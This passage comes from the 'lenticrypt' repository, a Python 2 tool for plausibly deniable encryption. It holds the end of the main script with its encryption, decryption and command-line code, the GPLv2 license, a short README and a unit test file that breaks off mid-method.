    n = byte
    for i in range(num_trailing_bytes):
        n <<= 8
        byte = byte_array.read(1)
        if not byte:
            raise Exception("Error: expected another byte in the stream!")
        n |= ord(byte)
    return n

# An encrypter for version 3 of the file spec.
class DictionaryEncrypter(LengthChecksumEncrypter):
    def __init__(self, substitution_alphabet, to_encrypt, status_callback=None):
        super(DictionaryEncrypter, self).__init__(substitution_alphabet = substitution_alphabet, to_encrypt = to_encrypt, status_callback = status_callback)
        self.dictionary = {}
        self.dictionary_items = []
        self.build_dictionary()

    def get_encryption_version(self):
        return 3

    def build_dictionary(self):
        max_length = self.get_max_length()
        if self.status_callback is not None:
            max_length *= len(self.sorted_lengths) * 2
        count = 0
        buffers = [BufferedNibbleGramReader(e, self.sorted_lengths[0]) for e in self.to_encrypt]
        dictionary_hits = {}
        while self.is_incomplete(buffers):
            # if the files are not the same length, encrypt to the length of to_encrypt1
            for length_num, length in enumerate(self.sorted_lengths):
                if self.status_callback is not None:
                    count += 1
                    self.status_callback(count, max_length, "Building Dictionary")
                ng = []
                for i, b in enumerate(buffers):
                    n = b.peek_nibbles(length)
                    ng.append(self.process_nibble(n, i, length))
                if not self.are_valid_nibbles(ng, length):
                    continue
                pair = tuple(ng)
                if pair in self.substitution_alphabet[length]:
                    # consume the nibbles!
                    for b in buffers:
                        b.get_nibbles(length)
                    if pair not in dictionary_hits:
                        self.dictionary_items.append(pair)
                        dictionary_hits[pair] = 1
                    else:
                        dictionary_hits[pair] += 1
                    if self.status_callback is not None:
                        count += len(self.sorted_lengths) - (length_num + 1)
                    break
        # make sure that the dictionary contains all of the 1-nibble grams:
        missing_grams = set(itertools.product(*[map(lambda j : (j,), range(16)) for i in range(len(self.to_encrypt))]))
        for item in self.dictionary_items:
            missing_grams.discard(item)
        for missing in missing_grams:
            self.dictionary_items.append(missing)
            dictionary_hits[missing] = 1
        self.dictionary_items = sorted(self.dictionary_items, key=lambda pair : dictionary_hits[pair], reverse=True)
        self.dictionary = dict(map(reversed,enumerate(self.dictionary_items)))
        # reset the files back to their first bytes
        for e in self.to_encrypt:
            e.seek(0)

    def process_nibbles(self, ng, length, buffers):
        pair = tuple(ng)
        if pair in self.dictionary:
            # consume the nibbles!
            for b in buffers:
                b.get_nibbles(length)
            for byte in encode(self.dictionary[pair]):
                yield chr(byte)
        elif length == 1:
            sys.stderr.write("Warning: there is insufficient entropy in the input secrets to encode the byte pair " + str(pair) + "! The resulting ciphertext will not decrypt to the correct plaintext.\n")
            # consume these bytes
            for b in buffers:
                b.get_nibbles(length)

    def get_header(self):
        for byte in super(DictionaryEncrypter, self).get_header():
            yield byte
        # add the dictionary:
        for byte in encode(len(self.dictionary)):
            yield chr(byte)
        for pair in self.dictionary_items:
            index = self.substitution_alphabet[len(pair[0])][pair][0]
            for byte in encode(index):
                yield chr(byte)
            yield chr(len(pair[0]))

# block header, 8 bits:
# MSB -> X X X X X X X X <- LSB
#                 |-----| <-- index_bytes - 1 (since index_bytes is always greater than zero)
#         |-------| <-- length - 1 (since length is always greater than zero)
#       |-| <-- If 1, then the following 7 bits are a filetype version number and the following blocks are the encrypted 8 bytes encoding the length of the file
def encrypt(substitution_alphabet, to_encrypt, add_length_checksum=False, status_callback=None):
    if add_length_checksum:
        block_header = 0b10000000 | ENCRYPTION_VERSION # the magic length checksum bit and filetype version number
        yield chr(block_header)
        lengths = map(lambda l : StringIO.StringIO(struct.pack("<Q", l)), map(get_length, to_encrypt))
        for b in encrypt(substitution_alphabet, lengths, add_length_checksum=False, status_callback=None):
            yield b
    sorted_lengths = sorted(substitution_alphabet.keys(), reverse=True)
    buffer_lengths = None
    if status_callback is not None:
        buffer_lengths = [get_length(b) for b in to_encrypt]
    buffers = [BufferedNibbleGramReader(e, sorted_lengths[0]) for e in to_encrypt]
    max_length = None
    if add_length_checksum:
        completion_test = lambda : sum(map(lambda b : not b.eof(), buffers))
        if status_callback is not None:
            max_length = max(buffer_lengths)
    else:
        completion_test = lambda : buffers[0]
        if status_callback is not None:
            max_length = buffer_lengths[0]
    if status_callback is not None:
        max_length *= len(sorted_lengths) * 2
    count = 0
    while completion_test():
        # if the files are not the same length, encrypt to the length of to_encrypt1
        for length_num, length in enumerate(sorted_lengths):
            if status_callback is not None:
                count += 1
                status_callback(count, max_length, "Encrypting")
            ng = []
            for i, b in enumerate(buffers):
                n = b.peek_nibbles(length)
                if n is None and (i > 0 or add_length_checksum):
                    # this will happen if this plaintext is shorter than the first plaintext; just pad its tail with zeros
                    if add_length_checksum:
                        # but if we are using a length checksum, we can make the padded bytes random:
                        n = tuple([random.randint(0, 15) for j in range(length)])
                    else:
                        n = tuple([0]*length)
                ng.append(n)
            if (ng[0] is None and not add_length_checksum) or max(map(len,ng)) < length:
                continue
            pair = tuple(ng)
            if pair in substitution_alphabet[length]:
                # consume the nibbles!
                for b in buffers:
                    b.get_nibbles(length)
                index = random.choice(substitution_alphabet[length][pair])
                index_bytes = 8
                index_type = "Q" # unsigned long long
                if index < 256:
                    index_bytes = 1
                    index_type = "B" # unsigned char
                elif index < 65536:
                    index_bytes = 2
                    index_type = "H" # unsigned short
                elif index < 4294967296:
                    index_bytes = 4
                    index_type = "L" # unsigned long
                assert(length <= 16) # if we want to support longer lengths, we will have to allocate more bits in the header, pearhaps using the currently used one
                block_header = ((length - 1) << 3) | (index_bytes - 1)
                for byte in struct.pack("<B" + index_type, block_header, index):
                    yield byte
                if status_callback is not None:
                    count += len(sorted_lengths) - (length_num + 1)
                break
            elif length == 1:
                sys.stderr.write("Warning: there is insufficient entropy in the input secrets to encode the byte pair " + str(pair) + "! The resulting ciphertext will not decrypt to the correct plaintext.\n")
                # consume these bytes
                for b in buffers:
                    b.get_nibbles(length)

index_type_map = {
    1 : 'B',
    2 : 'H',
    4 : 'L',
    8 : 'Q'}

class IOWrapper(object):
    def __init__(self, wrapped):
        self.wrapped = wrapped
        self._file = None
    def new_instance(self):
        if self.wrapped == '-':
            return sys.stdin
        else:
            return open(self.wrapped)
    def __enter__(self):
        if isinstance(self.wrapped, StringIO.StringIO) or isinstance(self.wrapped, gzip.GzipFile) or isinstance(self.wrapped, file):
            return self.wrapped
        else:
            self._file = self.new_instance()
            return self._file.__enter__()
    def __exit__(self, type, value, tb):
        if self._file is not None:
            self._file.__exit__(type, value, tb)

class GzipIOWrapper(IOWrapper):
    def __init__(self, wrapped):
        super(GzipIOWrapper, self).__init__(wrapped)
    def new_instance(self):
        if self.wrapped == '-':
            return gzip.GzipFile(fileobj = StringIO.StringIO(sys.stdin.read()))
        else:
            return gzip.GzipFile(self.wrapped)

def _decrypt_dictionary(stream, file_length, cert):
    # read the dictionary index:
    dictionary_length = decode(stream)
    dictionary = []
    for i in range(dictionary_length):
        index = decode(stream)
        b = stream.read(1)
        if not b:
            raise Exception("Unexpected end of file while decodeing dictionary!")
        length = ord(b)
        dictionary.append((index, length))
    last_nibble = None
    num_bytes = 0
    while num_bytes < file_length:
        dict_index = decode(stream)
        if dict_index >= len(dictionary):
            raise Exception("Invalid dictionary index %s!  Maximum valid index is %s." % (dict_index, len(dictionary)-1))
        index, length = dictionary[dict_index]
        if length == 1:
            if last_nibble is None:
                last_nibble = cert[index] << 4
            else:
                yield chr(last_nibble | cert[index])
                last_nibble = None
                num_bytes += 1
        else:
            nibbles = cert[index:index+length]
            if last_nibble is not None:
                yield chr(last_nibble | nibbles[0])
                num_bytes += 1
                last_nibble = nibbles[-1] << 4
                nibbles = nibbles[1:-1]
            for index in range(0,len(nibbles),2):
                yield chr((nibbles[index] << 4) | nibbles[index+1])
                num_bytes += 1

def decrypt(ciphertext, certificate, cert = None, file_length = None):
    # the file format is specified in a comment at the top of the encrypt(...) function above.
    if cert is None:
        cert = []
        with IOWrapper(certificate) as stream:
            while True:
                b = stream.read(1)
                if not b:
                    break
                b = ord(b[0]) & 0b11111111
                cert.append((b & 0b11110000) >> 4)
                cert.append(b & 0b00001111)
    with GzipIOWrapper(ciphertext) as stream:
        last_nibble = None
        num_bytes = 0
        while True:
            header = stream.read(1)
            if not header:
                break
            header = struct.unpack("<B", header)[0]
            is_length_header = header & 0b10000000
            if is_length_header:
                version = header & 0b01111111
                sys.stderr.write("Found length header. File format version is " + str(version) + "\n")
                if version > ENCRYPTION_VERSION:
                    sys.stderr.write("Warning: This ciphertext appears to have been encrypted with a newer version of the cryptosystem (version " + str(version / 10.0) + ").\n")                    
                # the next 8 encrypted bytes encode the length of the plaintext
                raw_length = bytearray(decrypt(stream, None, cert = cert, file_length = 8))
                file_length = struct.unpack("<Q", raw_length)[0]
                sys.stderr.write("Plaintext file length is " + str(file_length) + " bytes\n")
                if version == 3:
                    for byte in _decrypt_dictionary(stream, file_length, cert):
                        yield byte
                    return
                continue
            index_bytes = (header & 0b00000111) + 1
            if index_bytes not in index_type_map:
                raise Exception("Invalid block header: Received an invalid index byte length of " + str(index_bytes) + " bytes!")
            length = ((header >> 3) & 0b00001111) + 1
            index = stream.read(index_bytes)
            if not index:
                break
            n = struct.unpack("<" + index_type_map[index_bytes], index)[0]
            if n >= len(cert):
                sys.stderr.write("Warning: Decrypted invalid certificate index %s (maximum value is %s)\n" % (n, len(cert)-1))
                if last_nibble is not None:
                    yield chr(last_nibble)
                    num_bytes += 1
                    if file_length is not None and num_bytes >= file_length:
                        return
                    last_nibble = None
                    length -= 1
                for i in range(length):
                    yield chr(0)
                    num_bytes += 1
                    if file_length is not None and num_bytes >= file_length:
                        return
            elif length == 1:
                if last_nibble is None:
                    last_nibble = cert[n] << 4
                else:
                    yield chr(last_nibble | cert[n])
                    last_nibble = None
                    num_bytes += 1
                    if file_length is not None and num_bytes >= file_length:
                        return
            else:
                nibbles = cert[n:n+length]
                if last_nibble is not None:
                    yield chr(last_nibble | nibbles[0])
                    num_bytes += 1
                    last_nibble = None
                    nibbles = nibbles[1:]
                    if file_length is not None and num_bytes >= file_length:
                        return
                for index in range(0,len(nibbles),2):
                    if index == len(nibbles) - 1:
                        last_nibble = nibbles[index] << 4
                    else:
                        yield chr((nibbles[index] << 4) | nibbles[index+1])
                        num_bytes += 1
                        if file_length is not None and num_bytes >= file_length:
                            return

if __name__ == "__main__":
    import argparse
    
    copyright_message = "Copyright (C) 2012--2014, Evan A. Sultanik, Ph.D.  \nhttp://www.sultanik.com/\n"

    parser = argparse.ArgumentParser(description="A simple cryptosystem with provable plausible deniability.  " + copyright_message, prog="lenticrypt")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-e", "--encrypt", action="append", nargs=2, type=argparse.FileType('r'), metavar=('secret', 'plaintext'), help="encrypts the given plaintext file(s) into a single ciphertext using the given secret file(s).  Additional secret/plaintext pairs can be specified by providing the `-e` option multiple times.  For example, `-e secret1 plaintext1 -e secret2 plaintext2 -e secret3 plaintext3 ...`.  If the `-l` argument is used, any plaintext that is longer than the first one provided will be truncated.  Any plaintext that is shorter than the first one provided will be tail-padded with zeros.")
    group.add_argument("-d", "--decrypt", nargs=2, type=str, metavar=('secret', 'ciphertext'), help="decrypts the ciphertext file using the given secret file")
    group.add_argument("-t", "--test", type=argparse.FileType('r'), nargs="+", metavar=('secret'), help="tests whether a given set of secrets have sufficient entropy to encrypt an equal number of plaintexts.  The exit code of the program is zero on success.  On failure, the missing byte combinations are printed to stdout.")
    
    parser.add_argument("-f", "--force-encrypt", action="store_true", default=False, help="force encryption, even if the secrets have insufficient entropy to correctly encrypt the plaintexts")
    parser.add_argument("-o", "--outfile", nargs='?', type=argparse.FileType('w'), default=sys.stdout, help="the output file (default to stdout)")
    mode_group = parser.add_mutually_exclusive_group()
    mode_group.add_argument("--same-length", action="store_true", default=False, help="removes the header that is used to specify the length of the encrypted files.  The header solves the problem of having plaintexts of unequal length, so with this option enabled encryption might be lossy if the plaintexts are not the same length.  This option does slightly strengthen plausible deniability, but has the potential to produce very large ciphertexts.")
    mode_group.add_argument("--length-checksum", action="store_true", default=False, help="encrypts the files with an encrypted file length checksum at slight expense to plausible deniability, however, it allows for correct decryption if the plaintexts are of different lengths.  This has the potential to produce very large ciphertexts.")
    mode_group.add_argument("--dictionary", action="store_true", default=True, help="encrypts the files using both the file length checksum used with the `-c` option, but also with an index dictionary that can greatly reduce ciphertext size.  This is the default mode for encryption.")
    group.add_argument("-v", "--version", action="store_true", default=False, help="prints version information")
    parser.add_argument("-q", "--quiet", action="store_true", default=False, help="suppresses log messages")
    compression_group = parser.add_mutually_exclusive_group()
    compression_group.add_argument("-1","--fast", action="store_true", default=False)
    compression_group.add_argument("-2", dest="two", action="store_true", default=False)
    compression_group.add_argument("-3", dest="three", action="store_true", default=False)
    compression_group.add_argument("-4", dest="four", action="store_true", default=True)
    compression_group.add_argument("-5","--best", action="store_true", default=False, help="These options change the compression level used, with the -1 option being the fastest, with less compression, and the -5 option being the slowest, with best compression.  CPU and memory usage will increase exponentially as the compression level increases.  The default compression level is -4.")
    parser.add_argument("-s", "--seed", type=int, default=None, help="seeds the random number generator to the given value")

    args = parser.parse_args()
    
    if args.seed is not None:
        random.seed(args.seed)

    if args.version:
        sys.stdout.write("Cryptosystem Version: " + str(ENCRYPTION_VERSION / 10.0) + "\n" + copyright_message + "\n")
    elif args.encrypt:
        secrets = map(lambda s : bytearray(s[0].read()), args.encrypt)
        nibble_gram_lengths = [1, 2, 4, 8, 16]
        if args.fast:
            nibble_gram_lengths = nibble_gram_lengths[:1]
        elif args.two:
            nibble_gram_lengths = nibble_gram_lengths[:2]
        elif args.three:
            nibble_gram_lengths = nibble_gram_lengths[:3]
        elif args.four:
            nibble_gram_lengths = nibble_gram_lengths[:4]
        callback = None
        if not args.quiet:
            callback = ProgressBarCallback()
        try:
            substitution_alphabet = find_common_nibble_grams(secrets, nibble_gram_lengths = nibble_gram_lengths, status_callback = callback)
        except (KeyboardInterrupt, SystemExit):
            # die gracefully, without a stacktrace
            exit(1)
        finally:
            if callback is not None:
                callback.clear()
        if len(substitution_alphabet[1]) < 16**len(secrets):
            err_msg = "there is not sufficient coverage between the certificates to encrypt all possible bytes!\n"
            if args.force_encrypt:
                sys.stderr.write("Warning: " + err_msg)
            else:
                sys.stderr.write("Error: " + err_msg + "To supress this error, re-run with the `-f` option.\n")
                exit(1)
        # let the secret files be garbage collected, if needed:
        secrets = None
        callback = None
        if not args.quiet:
            callback = ProgressBarCallback()
        try:
            with gzip.GzipFile(fileobj=args.outfile, mtime=1) as zipfile:
                # mtime is set to 1 so that the output files are always identical if a random seed argument is provided
                if args.same_length:
                    encrypter = Encrypter
                elif args.length_checksum:
                    encrypter = LengthChecksumEncrypter
                else:
                    encrypter = DictionaryEncrypter
                for byte in encrypter(substitution_alphabet, map(lambda e : e[1], args.encrypt), status_callback = callback):
                    zipfile.write(byte)
        except (KeyboardInterrupt, SystemExit):
            # die gracefully, without a stacktrace
            exit(1)
        finally:
            if callback is not None:
                callback.clear()
    elif args.decrypt:
        try:
            for byte in decrypt(args.decrypt[1], args.decrypt[0]):
                args.outfile.write(byte)
        except (KeyboardInterrupt, SystemExit):
            # die gracefully, without a stacktrace
            exit(1)
    elif args.test:
        secrets = map(lambda s : bytearray(s.read()), args.test)
        callback = None
        if not args.quiet:
            callback = ProgressBarCallback()
        try:
            substitution_alphabet = find_common_nibble_grams(secrets, nibble_gram_lengths = [1], status_callback = callback)
        except (KeyboardInterrupt, SystemExit):
            # die gracefully, without a stacktrace
            exit(1)
        finally:
            if callback is not None:
                callback.clear()
        if len(substitution_alphabet[1]) < 16**len(secrets):

            sys.stderr.write("There is not sufficient coverage between the certificates to encrypt all possible bytes!\nMissing byte combinations:\n")
            sys.stderr.flush()
            import itertools
            for combination in itertools.product(*[range(16) for i in range(len(secrets))]):
                if tuple(map(lambda c : (c,), combination)) not in substitution_alphabet[1]:
                    sys.stdout.write(str(tuple(map(chr, combination))) + "\n")
            exit(1)
        else:
            sys.stderr.write("This set of secrets looks good!\n")
            exit(0)







lenticrypt/LICENSE

GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    {description}
    Copyright (C) {year}  {fullname}

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  {signature of Ty Coon}, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.






lenticrypt/README.md

lenticrypt
==========

A simple cryptosystem that provides provable [plausibly deniable encryption](http://en.wikipedia.org/wiki/Deniable_encryption).  Lenticrypt can generate a single ciphertext file such that different plaintexts are generated depending on which key is used for decryption.

## Usage

```shell
$ python lenticrypt.py -e key1 plaintext1 -e key2 plaintext2 -o output.enc

$ python lenticrypt.py -d key1 output.enc | diff - plaintext1 -s
Files - and plaintext1 are identical

$ python lenticrypt.py -d key2 output.enc | diff - plaintext2 -s
Files - and plaintext2 are identical
```

Additional instructions are availble by running with the `-h` option.

## Author

Evan A. Sultanik, Ph.D.<br />
http://www.sultanik.com/<br />
http://www.digitaloperatives.com/







lenticrypt/test.py

#!/usr/bin/env python2

import unittest
import lenticrypt
import StringIO
import random

def random_string(length):
    s = ""
    for i in range(length):
        s += chr(random.randint(0, 255))
    return s

class TestLenticrypt(unittest.TestCase):
    def setUp(self):
        self.plaintexts = [random_string(random.randint(1,1024)) for i in range(3)]
        while True:
            self.keys = [random_string(random.randint(2**14,2**15)) for i in range(3)]
            self.substitution_alphabet = lenticrypt.find_common_nibble_grams(map(lambda k : map(ord, k), self.keys))
            if len(self.substitution_alphabet[1]) >= 16**3:
                break

    def test_basic_encryption(self):
        ciphertext = "".join(lenticrypt.Encrypter(self.substitution_alphabet, map(lambda s : StringIO.StringIO(s), self.plaintexts)))
        first_length = None
        for key, plaintext in zip(self.keys, self.plaintexts):
            decrypted = "".join(lenticrypt.decrypt(StringIO.StringIO(ciphertext), StringIO.StringIO(key)))
            if first_length is None:
                first_length = len(plaintext)
            else:
                if first_length > len(plaintext):
                    decrypted = decrypted[:len(plaintext)]
                elif first_length < len(plaintext):
                    plaintext = plaintext[:first_length]
            self.assertEqual(decrypted, plaintext)

    def test_checksum_encryption(self):
        ciphertext = "".join(lenticrypt.LengthChecksumEncrypter(self.substitution_alphabet, map(lambda s : StringIO.StringIO(s), self.plaintexts)))
        for key, plaintext in zip(self.keys, self.plaintexts):
            decrypted = "".join(lenticrypt.decrypt(StringIO.StringIO(ciphertext), StringIO.StringIO(key)))
            self.assertEqual(decrypted, plaintext)

    def test_dictionary_encryption(self):
